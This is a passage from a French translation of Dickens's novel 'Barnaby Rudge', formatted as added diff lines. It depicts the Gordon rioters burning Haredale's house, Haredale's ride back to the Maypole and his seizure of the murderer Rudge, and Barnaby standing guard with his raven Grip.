+nouvelles sur le bûcher, c'étaient de nouveaux cris, de nouveaux
+hurlements, un tintamarre infernal qui ajoutait encore à l'horreur
+de l'incendie. Ceux qui portaient des haches et qui avaient passé
+leur colère sur le mobilier, s'en prenaient après aux portes, aux
+impostes, qu'ils mettaient en pièces; ils brisaient les parquets,
+coupaient les poutres et les solives, sans s'inquiéter s'ils
+n'allaient pas ensevelir sous des monceaux de ruines les traînards
+qui n'avaient pas quitté assez tôt l'étage supérieur. Il y en
+avait qui fouillaient dans les tiroirs, les caisses, les boites,
+les pupitres, les armoires, pour y chercher des bijoux, de
+l'argenterie, des pièces de monnaie; d'autres, plus avides de
+destruction que de gain, les jetaient dans la cour sans seulement
+y regarder, en invitant ceux d'en bas à les mettre en tas dans le
+brasier. D'autres, qui étaient descendus à la cave pour y défoncer
+les tonneaux, couraient ça et là comme des enragés, mettant le feu
+à tout ce qu'ils voyaient, souvent même aux vêtements de leurs
+camarades; enfin brûlant si bien les bâtiments par tous les bouts,
+qu'on en voyait plusieurs qui n'avaient pas eu le temps de se
+sauver, suspendus avec leurs mains défaillantes, et le visage
+noirci par la fumée, aux allèges des croisées où ils s'étaient
+traînés, en attendant qu'ils fussent attirés et dévorés dans la
+fournaise. Plus le feu sévissait et pétillait, plus les gens
+devenaient farouches et cruels, comme des diables qui se sentent
+dans leur élément au milieu du feu; ils avaient déjà dépouillé
+leur nature terrestre pour prendre un avant-goût des plaisirs de
+l'enfer.
+
+Le bûcher en combustion qui montrait les chambres et les couloirs
+rouges comme le feu, à travers les trous pratiqués dans les murs
+écroulés; les flammes égarées qui léchaient de leurs langues
+fourchues les murs de brique et de pierre au dehors, pour trouver
+un passage et porter leur tribut à la masse ardente qui brûlait en
+dedans; le reflet de l'incendie sur le visage des brigands occupés
+à l'attiser; le mugissement de la braise furieuse, si haute et si
+brillante qu'elle semblait, dans sa rapacité, avoir dévoré jusqu'à
+la fumée même; les flammèches vivantes que le vent détachait du
+brasier pour les emporter sur ses ailes, comme une neige de feu;
+le bruit sourd des poutres brisées, qui tombaient comme des plumes
+sur le monceau de cendres, et se réduisaient presque au même
+instant en un foyer d'étincelles et de poussière enflammée; la
+teinte blafarde qui couvrait le ciel, faisant mieux ressortir tout
+autour, par le contraste, les ténèbres profondes; la vue de tous
+les recoins dont leur usage domestique faisait naguère un lieu
+sacré, livrés maintenant sans pudeur aux regards d'une populace
+effrontée; la destruction par des mains rudes et grossières des
+mille petits objets de la prédilection des maîtres, qui les
+associaient dans leurs coeurs avec de tendres et précieux
+souvenirs; et cela, non pas au milieu de visages sympathiques et
+de consolations murmurées par l'amitié, mais au bruit des
+acclamations les plus brutales, et de cris étourdissants qui
+faisaient sauver à la hâte jusqu'aux rats, habitués par une longue
+possession à ce domicile antique, et devenus, pour ainsi dire, les
+commensaux de la maison: toutes ces circonstances se combinaient
+pour présenter aux yeux une scène que les spectateurs qui n'y
+prenaient point part ne devaient jamais oublier, dussent-ils vivre
+cent ans.
+
+Quels étaient ces spectateurs? La cloche d'alarme, remuée par des
+mains puissantes, avait longtemps retenti, mais pas une âme qu'on
+pût voir. Quelques rebelles prétendaient bien que, lorsqu'elle
+avait cessé d'appeler à l'aide, on avait entendu des cris de
+femmes éplorées, et qu'on avait vu flotter leurs vêtements dans
+l'air, pendant qu'elles étaient emportées, malgré leur résistance,
+par une troupe de ravisseurs. Mais, dans un pareil désordre,
+personne ne pouvait dire si c'était vrai ou si c'était faux.
+Cependant où donc était Hugh? Personne ne l'avait plus vu depuis
+qu'on avait enfoncé les portes. Toute la bande criait après lui;
+où est donc Hugh?
+
+«Présent, répondit-il d'une voix enrouée, en sortant de
+l'obscurité, tout haletant, tout noirci par la fumée. Nous avons
+fait tout ce que nous pouvions faire. Voilà le feu qui va
+s'éteindre de lui-même, et, s'il reste encore quelque pan de
+murailles, ce n'est plus qu'un amas de ruines. Dispersons-nous,
+mes gars, pendant qu'il y fait bon; rentrez par différents
+chemins, et nous nous retrouverons comme d'habitude.»
+
+Là-dessus, il disparut de nouveau... (c'était bien étrange, lui
+qui toujours arrivait le premier et ne s'en allait que le
+dernier)... et les laissa retourner chacun chez eux comme ils
+voulaient.
+
+Ce n'était pas une tâche facile que d'organiser la retraite d'une
+pareille multitude. Quand on aurait ouvert toutes grandes les
+portes de Bedlam[3], il n'en serait pas sorti autant de fous qu'en
+avait fait sortir cette nuit de délire. On voyait des hommes
+danser et trépigner sur les parterres de fleurs, comme s'ils
+croyaient écraser des victimes humaines sous leurs pieds; ils
+arrachaient leurs tiges avec fureur, comme des sauvages qui
+tordent le cou de leurs ennemis. On en voyait d'autres jeter en
+l'air leurs torches enflammées, et les recevoir sans bouger sur
+leurs têtes et sur leurs visages tout enflés et tout couturés de
+brûlures hideuses. On en voyait qui se précipitaient jusqu'au
+brasier et en écartaient la vapeur avec le mouvement de leurs
+mains, comme s'ils nageaient en pleine eau; d'autres même qu'on
+avait beaucoup de peine à empêcher de s'y plonger pour satisfaire
+leur soif de feu. Sur le crâne d'un garçon, de vingt ans à peine,
+étendu ivre mort sur le gazon avec le goulot d'une bouteille dans
+la bouche, coulait du toit une pluie de plomb liquide brûlé à
+blanc, qui faisait fondre sa tête comme une cire. Quand on réunit
+tous les gens épars, on retira des caves, pour les emporter à
+bras, des misérables, vivants encore, mais marqués comme d'un fer
+chaud sur tout le corps, et, le long de la route, leurs porteurs
+cherchaient à les ragaillardir par des plaisanteries de corps de
+garde, en attendant qu'ils les déposassent morts à la porte de
+quelque hôpital. Mais tous ces tableaux effroyables n'inspiraient
+à personne, dans cette troupe hurlante, ni pitié ni dégoût; il n'y
+en avait pas un dont la rage aveugle, féroce, animale, fût
+seulement assouvie.
+
+Le rassemblement se dispersa à la fin lentement, et par petits
+pelotons, avec des hourras enroués, et au bruit de leurs cris
+ordinaires. Quelques traînards, les yeux éraillés et injectés de
+sang, suivaient l'avant-garde d'un pas aviné. Les appels lointains
+par lesquels ils se répondaient, le sifflement convenu pour
+rallier ceux qui manquaient, devinrent de plus en plus rares et
+faibles, tant qu'enfin ces bruits même expirèrent, faisant place
+au silence des nuits.
+
+Quel silence! L'éclat éblouissant des flammes n'était plus à
+présent qu'une lueur d'accès, un éclair intermittent. Les
+charmantes étoiles du ciel, jusqu'alors invisibles, éclairaient à
+leur tour le monceau de cendres, bientôt obscur. Une fumée
+retardataire était encore suspendue le long des ruines, comme pour
+les cacher aux yeux: le vent semblait la respecter. Des murailles
+nues, des toits ouverts, des chambres où des êtres bien chers,
+aujourd'hui défunts, avaient bien des fois relevé le matin leur
+tête sur leurs chevets pour renaître à une vie nouvelle avec une
+nouvelle énergie; où tant d'autres, également bien aimés, avaient
+passé des jours de joie ou de tristesse; où se trouvaient mêlés
+ensemble tant de souvenirs et de regrets, de soucis et
+d'espérances... tout cela... parti. Il ne reste plus qu'un vide
+triste et navrant; un monceau à demi étouffé de poussière et de
+cendres; le silence et la solitude du néant.
+
+
+
+
+CHAPITRE XIV.
+
+
+Les bonnes gens du Maypole, qui ne se doutaient guère du
+changement qui bientôt allait se faire dans leur rendez-vous
+favori, entrèrent dans la forêt pour se rendre à Londres. Ils ne
+prirent pas la grand'route, pour éviter la chaleur et la
+poussière, et se tinrent dans les sentiers à travers champs. À
+mesure qu'ils approchaient de leur destination, ils se mirent à
+faire des questions aux gens qui passaient, sur l'émeute, sur la
+vérité ou la fausseté des récits qu'on leur en avait faits. Les
+réponses qu'ils reçurent laissaient bien loin derrière elles les
+chétives nouvelles qui avaient pénétré dans la paisible bourgade
+de Chigwell. Un homme leur dit que, cette après-midi même, la
+troupe, chargée de conduire à Newgate quelques émeutiers qu'on
+venait d'interroger en justice, avait été attaquée par la populace
+et forcée de faire retraite; un autre, que l'on était en train de
+démolir la maison de deux témoins à charge près de Clare-Market,
+au moment où il était parti de Londres; un autre, que l'on devait
+mettre ce soir le feu à celle de sir Georges Saville, dans le
+quartier de Leicester-Field, et que sir Georges passerait un
+mauvais quart d'heure s'il tombait entre les mains du peuple,
+parce que c'était lui qui avait présenté le _bill_ en faveur des
+catholiques. Tous s'accordaient à dire que l'émeute était à
+l'oeuvre, plus forte et plus nombreuse que jamais; qu'il ne
+faisait pas bon dans les rues; que l'épouvante publique croissait
+à chaque moment, et qu'il y avait déjà un grand nombre de familles
+qui s'étaient sauvées à la campagne. Passa un drôle qui portait
+les couleurs populaires et qui les insulta pour n'avoir point de
+cocardes à leurs chapeaux, en leur recommandant d'aller voir le
+lendemain soir une fameuse poussée qu'on allait donner aux portes
+de la prison. Un autre leur demanda si c'est qu'ils étaient
+incombustibles, de sortir ainsi sur les chemins sans porter la
+marque distinctive des honnêtes gens; enfin un troisième, qui
+allait à cheval tout seul leur ordonna de lui jeter chacun un
+shilling dans son chapeau, pour la quête des émeutiers.
+
+Malgré le désagrément de se voir ainsi rançonnés, et la crainte
+que leur causaient tous ces renseignements, ils persistèrent,
+puisqu'ils avaient tant fait que de venir, dans la résolution de
+pousser plus loin et d'aller voir de leurs propres yeux l'état
+réel des choses. Ils doublèrent le pas, comme on fait toujours en
+pareil cas, lorsqu'on vient du recevoir des nouvelles qui vous
+intéressent; et, ruminant, chacun de leur côté, les rapports
+qu'ils venaient d'entendre, ils ne se disaient pas grand'chose.
+
+Or, la nuit était venue, et, quand ils approchèrent de Londres,
+ils eurent de loin la triste confirmation de ce qu'on leur avait
+dit, dans la lueur qu'ils purent voir de trois incendies, tout
+près l'un de l'autre, dont la flamme jetait une réverbération
+lugubre dans le ciel. En arrivant à l'entrée des faubourgs, ils
+aperçurent, à la porte de presque toutes les maisons, ces mots
+écrits à la craie, en gros caractères: «Pas de papisme!» Les
+boutiques étaient fermées, l'alarme et la crainte se lisaient sur
+tous les visages.
+
+Chacun de nos curieux faisait à part soi ces remarques peu
+rassurantes, sans les communiquer à ses camarades, lorsqu'ils
+arrivèrent à une barrière qui se trouvait fermée. Ils passaient
+par le Tourniquet sur la contre-allée, comme un cavalier, venant
+de Londres au grand galop, appela d'un ton très ému le garde-
+barrière: «Vite, vite, ouvrez-moi, au nom du ciel!»
+
+À cette prière si pressante et si véhémente, l'homme accourut, une
+lanterne à la main, et se disposait à ouvrir, lorsque, jetant par
+hasard les yeux derrière lui, il s'écria: «Bonté divine! qu'est-ce
+que c'est que ça? encore un feu?»
+
+À ces mots, les trois amateurs de Chigwell tournèrent la tête et
+virent à distance, juste dans la direction d'où ils venaient,
+jaillir une nappe de feu qui jetait sur les nuages une clarté
+menaçante, comme si l'incendie était en effet derrière eux,
+semblable à un soleil couchant de sinistre présage.
+
+«Si je ne me trompe, dit le cavalier, je sais d'où partent ces
+flammes. Allons! mon brave homme, ne restez pas là pétrifié.
+Ouvrez-moi la porte.
+
+-- Monsieur, lui cria le portier en mettant la main sur la bride
+de son cheval, au moment où il lui ouvrait un passage, je crois
+vous reconnaître, monsieur; croyez-moi, n'allez pas plus loin. Je
+les ai vus passer, je sais de quoi ces gens-là sont capables. Ils
+vous assassineront.
+
+-- Soit! dit le cavalier, toujours l'oeil fixé sur le feu, et non
+sur son interlocuteur.
+
+-- Mais, monsieur, monsieur, cria l'homme en serrant encore
+davantage la bride, si vous voulez aller plus loin, portez donc au
+moins le ruban bleu. Tenez! monsieur, ajoutât-il en détachant la
+cocarde de son chapeau. Si je la porte, ce n'est pas par goût,
+c'est par nécessité; c'est que j'ai peur pour moi et pour ma
+maison. Prenez-la seulement pour cette nuit... pour cette nuit
+seulement.
+
+-- Faites, monsieur, faites ce qu'il vous dit, crièrent les trois
+amis, se pressant autour de son cheval.
+
+-- Monsieur Haredale, mon digne monsieur, mon brave gentleman, je
+vous en prie, laissez-vous persuader.
+
+-- Qu'est-ce que j'entends-là? répondit M. Haredale, se baissant
+pour mieux voir; n'est-ce pas la voix de Daisy?
+
+-- Oui, monsieur, répliqua le petit homme. Laissez-vous persuader,
+monsieur. Ce brave homme dit vrai. Votre vie peut en dépendre.
+
+-- Dites-moi, reprit Haredale brusquement, auriez-vous peur de
+venir avec moi?
+
+-- Moi, monsieur? n-o-n.
+
+-- Eh bien! mettez cette cocarde à votre chapeau. Si nous
+rencontrons ces gueux-là, vous leur jurerez que je vous emmène
+prisonnier, parce que vous la portez. Je leur en dirai autant moi-
+même: car, aussi vrai que j'espère le pardon du bon Dieu dans
+l'autre monde, je ne veux pas qu'ils me fassent grâce, pas plus
+que je ne leur ferai quartier, si nous en venons aux mains ce
+soir. Allons! sautez en croupe!... vite. Tenez-moi bien par la
+taille, et n'ayez pas peur.»
+
+En un instant les voilà partis au grand galop, dans un nuage de
+poussière épaisse, et toujours courant devant eux, comme Robin des
+Bois.
+
+Par bonheur que l'excellent coursier de Haredale connaissait bien
+la route: car pas une fois, pas une seule fois, dans tout le
+voyage, M. Haredale n'abaissa les yeux sur le sol, ni ne les
+détourna un moment de la clarté qui serrait de but et de fanal à
+leur course furieuse. Une fois il dit à demi-voix: «C'est ma
+maison.» Mais il ne desserra pas les dents davantage. Quand ils
+arrivaient à des endroits où le chemin était plus mauvais et plus
+sombre, il n'oubliait jamais de poser sa main sur le petit homme
+pour bien l'affermir en selle; mais il n'en continuait pas moins
+de garder la tête droite et les yeux fixés sur le feu, alors comme
+toujours.
+
+La route n'était pas sans danger: car ils avaient quitté la
+grand'route pour prendre le plus court, toujours à bride abattue,
+par des ruelles et des sentiers solitaires, où les roues des
+charrettes avaient fait des ornières profondes, où le passage
+étroit était bordé de haies et de fossés, où l'on avait sur la
+tête une arcade de grands arbres qui épaississaient l'ombre et
+l'obscurité. Mais c'est égal, en avant, en avant, en avant, sans
+s'arrêter et sans broncher, jusqu'à la porte du Maypole, d'où ils
+purent voir que le feu commençait à s'éteindre, apparemment faute
+d'aliment.
+
+«Descendons un moment, un seul moment, Daisy, dit M. Haredale, en
+l'aidant à sauter de cheval et suivant ses pas. Willet, Willet, où
+sont ma nièce et mes domestiques?... Willet!»
+
+Tout en poussant ces cris de détresse, il se précipite au
+comptoir. Qu'est-ce qu'il voit? L'aubergiste lié et garrotté sur
+sa chaise, la salle démantibulée, dévastée, toute sens dessus
+dessous... Évidemment, personne n'avait pu venir chercher là un
+refuge.
+
+M. Haredale était un caractère fort, accoutumé à se contraindre et
+à réprimer ses plus vives émotions; mais cet augure sinistre des
+découvertes auxquelles il devait s'attendre (car, en voyant
+l'incendie, il avait bien deviné tout de suite que sa maison
+devait être rasée) vainquit son courage. Il se couvrit la figure
+de ses mains pour un moment, et détourna la tête.
+
+«Johnny, Johnny, dit Salomon, et le brave homme criait de toute sa
+force en se tordant les mains... mon cher Johnny, oh! quel
+changement! Je n'aurais jamais cru voir le Maypole en cet état, de
+ma vie vivante. Et le vieux château de la Garenne, donc! Johnny!
+Monsieur Haredale!... Ah! Johnny! quel affreux spectacle!
+
+En même temps le petit Salomon Daisy, montrant M. Haredale,
+plantait ses coudes sur le dos de la chaise de M. Willet, et
+pleurait comme un veau sur l'épaule de l'aubergiste.
+
+Le vieux John, pendant ce temps-là, le laissait dire. Il restait
+assis, muet comme un merlan, fixant sur lui un regard qui n'était
+pas de ce monde, et donnant tous les symptômes possibles d'entière
+et de parfaite insensibilité à tout ce qui se passait autour de
+lui. Cependant, quand Salomon ne dit plus rien, il suivit avec ses
+gros yeux ronds la direction des regards du sacristain, et
+commença à montrer quelque idée vague qu'il pouvait bien y avoir
+là quelqu'un qui était venu le voir.
+
+«Vous nous reconnaissez bien, n'est-ce pas, Johnny? dit Salomon en
+se donnant un coup sur la poitrine: Daisy, vous savez bien... dans
+l'église de Chigwell... celui qui sonne les cloches... Vous
+rappelez-vous le petit lutrin des dimanches dans la chapelle...
+hein! Johnny?»
+
+M. Willet réfléchit quelques minutes, puis il se mit à entonner
+tout bas, par un instinct mécanique, à propos au lutrin:
+_Magnificat anima mea..._
+
+«C'est cela, cria vivement le petit homme; justement, c'est bien
+moi qui chante les vêpres, Johnny. Vous y êtes, n'est-ce pas?
+Dites-moi que vous êtes tout à fait remis.
+
+-- Remis? dit Willet en récriminant, comme si c'était une question
+à vider entre lui et sa conscience; remis? ah!
+
+-- Ils ne vous ont pas maltraité à coups de bâton, de tisonniers,
+ou de tout autre instrument contondant, n'est-ce pas, Johnny?
+demanda Salomon en jetant un coup d'oeil plein d'inquiétude sur la
+tête de Willet, ils ne vous ont pas battu, n'est-ce pas?»
+
+John fronça le sourcil, baissa les yeux comme s'il était absorbé
+dans quelque calcul d'arithmétique mentale; puis les releva, comme
+s'il cherchait au plafond le total de l'addition rebelle; puis les
+promena sur Salomon Daisy, depuis la pointe des cheveux jusqu'à la
+plante des pieds; puis les porta lentement tout autour de la
+salle. Et alors une grosse larme, ronde, plombée, et point du tout
+transparente, lui roula de chaque oeil, lorsqu'en branlant la tête
+il répondit:
+
+«S'ils avaient eu seulement la bonté de m'assassiner, combien ils
+m'auraient obligé!
+
+-- Non, non, ne dites pas ça, Johnny, reprit Daisy, la larme à
+l'oeil; c'est bien triste, mais ça ne va pas jusque-là. Non, non.
+
+-- Voyez-moi ça, monsieur, cria John, tournant ses yeux douloureux
+sur M. Haredale, qui avait mis un genou en terre pour travailler
+lestement à délivrer l'aubergiste de ses liens. Voyez-moi ça,
+monsieur. Il n'y a pas jusqu'au Mai lui-même, le vieux Mai, tout
+de bois et tout insensible qu'il est, qui regarde tout étonné à la
+fenêtre, comme s'il voulait me dire: «John Willet, John Willet,
+allons-nous-en piquer une tête dans la mare la plus voisine, qui
+sera assez profonde pour nous noyer, car c'est fait de nous à tout
+jamais.»
+
+-- Finissez, Johnny, finissez, lui cria son ami, non moins touché
+de cet effort d'imagination douloureux de la part de M. Willet,
+que du ton sépulcral dont il avait parlé du Maypole. Je vous en
+prie, Johnny, finissez.
+
+-- Votre perte est grande et votre malheur est pénible, lui dit
+M. Haredale jetant un regard d'impatience vers la porte, et ce
+n'est pas le moment de chercher à vous consoler: ce ne serait pas
+moi, dans tous les cas, qui pourrais le faire; mais, avant de nous
+quitter, dites-moi une chose, et tâchez de me le dire nettement,
+je vous en supplie. Avez-vous vu Emma, ou avez-vous entendu parler
+d'elle?
+
+-- Non, dit M. Willet.
+
+-- Vous n'avez donc vu que cette canaille?
+
+-- Oui.
+
+-- Elles se seront sauvées, j'espère, avant le commencement de ces
+scènes affreuses, dit M. Haredale, qui, au milieu de son
+agitation, de son désir impatient de remonter à cheval, et de son
+peu d'habileté pour débrouiller des cordes emmêlées, n'avait pas
+seulement défait encore un noeud. Daisy un couteau!
+
+-- Vous n'auriez pas, dit John regardant autour de lui comme pour
+chercher son mouchoir de poche ou quelque autre bagatelle qu'il
+aurait perdue, vous n'auriez pas, l'un ou l'autre, trouvé quelque
+part par là... un cercueil?
+
+-- Willet!» cria M. Haredale.
+
+Salomon laissa tomber de ses mains le couteau, et sentit une sueur
+froide lui courir tout le long du corps. «Ciel! s'écria-t-il.
+
+-- C'est que, voyez-vous, continua John sans les regarder, un
+moment avant de vous voir, j'ai reçu la visite d'un mort qui
+allait là-bas. Et s'il avait apporté là sa bière ou que vous
+l'eussiez rencontrée sur le chemin, j'aurais bien pu vous dire le
+nom qu'il y avait sur la plaque. Enfin, s'il ne l'a pas apportée,
+ça ne fait rien.»
+
+M. Haredale, qui venait d'écouter ces paroles avec une attention
+palpitante, se releva à l'instant droit sur ses pieds, et, sans
+dire un seul mot, emmena Salomon Daisy à la porte, monta à cheval,
+le prit en croupe derrière lui, et vola plutôt qu'il ne galopa
+vers cet amas de ruines, qui était encore un château majestueux
+quand le soleil couchant l'avait éclairé la veille de ses derniers
+feux. M. Willet les regarda, les écouta, ramena ses yeux sur lui-
+même pour bien s'assurer qu'il n'était plus garrotté, et, sans
+donner le moindre signe d'impatience, de surprise ou de
+désappointement, retomba doucement dans l'état léthargique dont il
+n'était sorti un moment que d'une manière très imparfaite.
+
+M. Haredale attacha son cheval à un tronc d'arbre, et, serrant le
+bras de son compagnon, se glissa doucement le long du sentier,
+dans les lieux où était hier encore son jardin. Il s'arrêta un
+instant à regarder ses murs fumants et les étoiles qui envoyaient
+leur lumière, à travers les toits et les planchers ouverts, jusque
+sur le tas de cendres et de poussière. Salomon jeta de côté un
+coup d'oeil timide sur sa figure, et vit que ses lèvres étaient
+étroitement serrées l'une contre l'autre, que ses traits
+respiraient une résolution sombre, sans qu'il lui échappât une
+larme, un regard, un geste qui trahît sa douleur.
+
+Il tira son épée, tâta sa poitrine, comme s'il portait sur lui
+d'autres armes cachées, saisit de nouveau Salomon par le poignet,
+et fit, d'un pas discret, le tour de la maison. Il regardait à
+chaque porte, à chaque ouverture, revenait sur ses pas, quand il
+entendait seulement remuer une feuille, et cherchait à tâtons, les
+mains étendues devant lui, dans chaque encoignure plus obscure.
+C'est ainsi qu'ils firent tout le tour des bâtiments. Mais ils
+revinrent au point de départ sans avoir rencontré aucune créature
+humaine, ou sans trouver le moindre indice qu'il y eût là quelque
+traînard caché.
+
+Après un moment de silence, M. Haredale se mit à crier à deux ou
+trois reprises, puis enfin il dit tout haut: «Y a-t-il quelqu'un
+de caché ici, qui connaisse ma voix! il n'y a plus rien à
+craindre: il peut se montrer. S'il y a là quelqu'un de ma maison,
+je le prie de me répondre.» Il les appela tous par leur nom, les
+uns après les autres; l'écho répéta sa voix lugubre sur bien des
+tons; ensuite tout redevint muet comme auparavant.
+
+Ils se tenaient au pied de la tourelle où était suspendue la
+cloche d'alarme. Le feu ne l'avait pas épargnée, et depuis, les
+planchers en avaient été sciés, coupés, enfoncés. Elle était
+ouverte à tous les vents. Cependant il y restait un bout
+d'escalier au bas duquel était accumulé un grand tas de cendres et
+de poussière; des fragments de marches ébréchées et rompues
+offraient ça et là une place mal sûre et mal commode pour y poser
+le pied, puis il disparaissait derrière les angles saillants du
+mur, ou dans les ombres profondes que projetaient sur lui d'autres
+portions de ruines: car, pendant ce temps-là, la lune s'était
+levée à l'horizon et brillait d'un grand éclat.
+
+Pendant qu'ils étaient là debout à écouter les échos lointains et
+à espérer en vain d'entendre quelque voix connue, des grains de
+poussière glissèrent du haut de cette tourelle en bas. Ému par le
+moindre bruit dans ce lieu sinistre, Salomon leva les yeux sur son
+compagnon, et vit qu'il venait de se retourner vers le même
+endroit, qu'il observait avec une grande attention: il était tout
+yeux et tout oreilles.
+
+M. Haredale couvrit de sa main la bouche du petit homme, et se
+remit en observation. L'oeil en feu, il lui recommanda
+expressément, sur sa vie, de se tenir tranquille, sans parler et
+sans bouger. Puis, retenant son haleine, et marchant courbé en
+deux, il se glissa furtivement dans la tourelle, l'épée nue à la
+main, et disparut.
+
+Effrayé de se voir laisser là tout seul, au milieu de cette scène
+de destruction, après tout ce qu'il avait vu, tout ce qu'il avait
+entendu ce soir même, Salomon l'aurait suivi, si l'air et les
+manières de M. Haredale n'avaient pas eu, en lui défendant
+d'avancer, quelque chose dont le souvenir le tenait, pour ainsi
+dire, enchanté. Il resta donc comme enraciné à la place où il
+était, osant à peine respirer, montrant dans tous ses traits un
+mélange de surprise et de crainte.
+
+Encore des cendres qui glissent et roulent en bas... très, très
+doucement... puis encore... puis encore, comme si elles
+s'écrasaient sous un pied furtif. Et puis voici une figure qui se
+dessine dans l'ombre, grimpant très doucement aussi et s'arrêtant
+souvent pour regarder en bas; la voilà qui poursuit son ascension
+difficile, et qui disparaît aux yeux encore une fois!
+
+La voici qui reparaît dans un jour obscur et douteux! elle est un
+peu plus haut, pas beaucoup, parce que le chemin est escarpé et
+pénible; elle ne peut avancer que lentement. Quel est donc le
+fantôme imaginaire qu'elle poursuit là-haut, et pourquoi donc est-
+elle toujours à regarder en bas? Cet homme ne sait-il pas qu'il
+est seul? Est-ce que par hasard il aurait perdu l'esprit dans les
+pertes cruelles qu'il a pu faire cette nuit? S'il allait se jeter
+la tête en bas du haut de ce mur chancelant! Salomon, dans sa
+frayeur, se sentait défaillir et joignait les mains. Ses jambes
+tremblaient sous lui; une sueur froide inondait son pâle visage.
+
+S'il en avait eu la force, il aurait désobéi aux ordres de
+M. Haredale, mais il était incapable de prononcer un mot ou de
+faire un mouvement. Tout ce qu'il pouvait faire, c'était de tenir
+sa vue fixe sur un petit coin de clair de lune où il allait voir
+sans doute apparaître la figure, si elle continuait de monter; et,
+quand il la verrait arriver là, il essayerait de l'appeler.
+
+Encore des cendres qui glissent et tombent, des pierres qui
+roulent en bas avec un bruit, lourd et sourd. Salomon tenait sans
+cesse ses yeux tendus sur le coin de clair de lune. La figure
+avançait toujours, car on voyait déjà son ombre sur la muraille.
+Ah! la voilà qui reparaît... la voilà qui se retourne... la
+voilà...
+
+Le sacristain, frappé d'horreur, avait poussé un cri qui avait
+percé l'air: «Le revenant! le revenant!» L'écho n'avait pas encore
+achevé de répéter ce cri, qu'une autre figure à son tour passait
+au clair de la lune, se jetait sur la première, la terrassait, lui
+mettait un genou sur la poitrine, et lui serrait la gorge avec ses
+deux mains.
+
+«Scélérat! cria M. Haredale d'une voix terrible, car c'était lui,
+c'est donc toi qui, par une ruse infernale, te fais passer aux
+yeux des hommes pour mort et enterré, mais que le ciel avait
+réservé pour ce jour de vengeance. Enfin... enfin, je te tiens,
+toi dont les mains sont teintes du sang de mon frère et de celui
+de son fidèle serviteur que tu as répandu après, pour cacher ton
+premier crime! Toi, Rudge, double assassin, double monstre; je
+t'arrête au nom de Dieu, qui vient de te remettre entre mes mains.
+Non, non. Tu aurais la force de vingt hommes comme toi, ajouta-t-
+il en voyant que le meurtrier luttait contre ses étreintes, non,
+tu ne m'échapperas pas, tu resteras cette nuit dans mes serres.»
+
+
+
+
+CHAPITRE XV.
+
+
+Barnabé, armé comme nous l'avons vu, continuait de se promener de
+long en large devant la porte de l'écurie, enchanté de se
+retrouver seul, et savourant avec plaisir le silence et la
+tranquillité dont il avait perdu l'habitude. Après le tourbillon
+de bruit et de tapage où il avait passé les jours derniers, il
+n'en sentait que mieux mille fois la douceur de la solitude et de
+la paix. Il se sentait heureux: appuyé sur le manche du drapeau,
+plongé dans ses rêveries, il avait sur toute sa figure un sourire
+radieux, et son cerveau ne nourrissait que des visions joyeuses.
+
+Croyez-vous qu'il ne pensait pas à _Elle_, à celle dont il était
+le seul bonheur, et qu'il avait, sans le savoir, plongée dans cet
+abîme d'affliction amère? Oh! que si: c'était elle qui était au
+coeur de ses plus brillantes espérances, de ses réflexions les
+plus orgueilleuses; c'était elle qui allait jouir de tout cet
+honneur, de toute cette distinction de son fils: la joie et le
+profit, tout pour elle. Quelle félicité pour elle d'entendre faire
+l'éloge des prouesses de son pauvre garçon! Ah! Hugh n'avait pas
+besoin de le lui dire, il l'aurait bien deviné de lui-même. Et
+puis, comme il était heureux encore de savoir qu'elle nageait dans
+l'aisance et qu'elle se rengorgeait (il se figurait son air digne
+et fier dans ces moments-là) en entendant la haute estime qu'on
+faisait de lui, le brave des braves, honoré du premier poste de
+confiance. Une fois, d'ailleurs, que tout ce bruit-là allait être
+fini, et que le bon lord aurait vaincu ses ennemis, quand la paix
+allait revenir, qu'elle serait riche et lui aussi, comme ils
+seraient heureux de parler ensemble de ces temps de trouble et de
+peine où il avait été un héros! Quand ils seraient là, assis
+ensemble tous les deux, en tête-à-tête, à la lueur d'un crépuscule
+tranquille et serein, qu'elle n'aurait plus à s'inquiéter du
+lendemain, quel plaisir de pouvoir se dire que c'était l'oeuvre de
+son pauvre nigaud de Barnabé! comme il lui donnerait une petite
+tape sur la joue en riant de grand coeur! «Eh bien! mère, suis-je
+toujours un imbécile?.,. Voyons! suis-je toujours un imbécile?»
+
+Là-dessus, d'un coeur plus léger, d'un pas plus glorieux, d'un
+oeil plus triomphant au travers de ses larmes, Barnabé reprit sa
+promenade militaire, et, chantonnant tout bas, se mit à garder son
+poste paisible.
+
+Son camarade Grip, qui partageait avec lui sa faction,
+ordinairement si avide de soleil, au lieu de s'y pavaner
+aujourd'hui, aimait mieux rôder dans l'écurie. Il y était très
+affairé à fouiller dans la paille pour y cacher tous les menus
+objets qu'il pouvait ramasser près de là, et à visiter de
+préférence le lit de Hugh, auquel il semblait prendre un intérêt
+tout particulier. Quelquefois Barnabé, passant la tête par la
+porte, venait l'appeler, et alors il sortait en sautillant; mais
+on voyait que c'était une simple concession qu'il croyait devoir,
+par pitié, à l'imbécillité de son maître, et il retournait tout de
+suite à ses occupations sérieuses. Il fourrait son bec dans la
+paille, regardait, recouvrait la place, comme si, nouveau Midas,
+il murmurait à la terre ses secrets pour les ensevelir dans son
+sein: tout cela d'un air sournois, affectant, chaque fois que
+Barnabé passait, de regarder les nuages au firmament, sans avoir
+l'air d'y toucher; en un mot, prenant, à tous égards, un air plus
+grave, plus profond, plus mystérieux qu'à l'ordinaire.
+
+Le jour avançait. Barnabé, à qui sa consigne ne défendait pas de
+boire et de manger sur place, mais auquel on avait, au contraire,
+laissé pour ses besoins une bouteille de bière et un panier de
+provisions, se décida à déjeuner, car il n'avait rien pris depuis
+le matin. Pour ce faire, il s'assit par terre devant la porte, et
+mettant son drapeau sur ses genoux, pour ne pas le perdre en cas
+d'alarme ou de surprise, il invita Grip à venir dîner.
+
+L'oiseau intelligent ne se le fit pas dire deux fois, et, sautant
+de côté vers son maître, se mit à crier en même temps: «Je suis un
+diable, je suis un Polly, je suis une bouilloire, je suis
+protestant: pas de papisme!» Il avait appris cette dernière
+ritournelle des braves messieurs avec lesquels il faisait société
+depuis peu: aussi la prononçait-il avec une énergie peu commune.
+
+«Bien dit, Grip! cria son maître en lui choisissant les meilleurs
+morceaux pour sa part; bien dit, mon vieux!
+
+-- N'aie pas peur, mon garçon, coa, coa, coa, bon courage! Grip!
+Grip! Grip! Holà! il nous faut du thé! je suis une bouilloire
+protestante, pas de papisme! criait le corbeau.
+
+-- Grip, vive Gordon!» criait de son côté Barnabé.
+
+Le corbeau, mettant sa tête par terre, regardait son maître de
+côté, comme pour lui dire: «Redis-moi ça.»
+
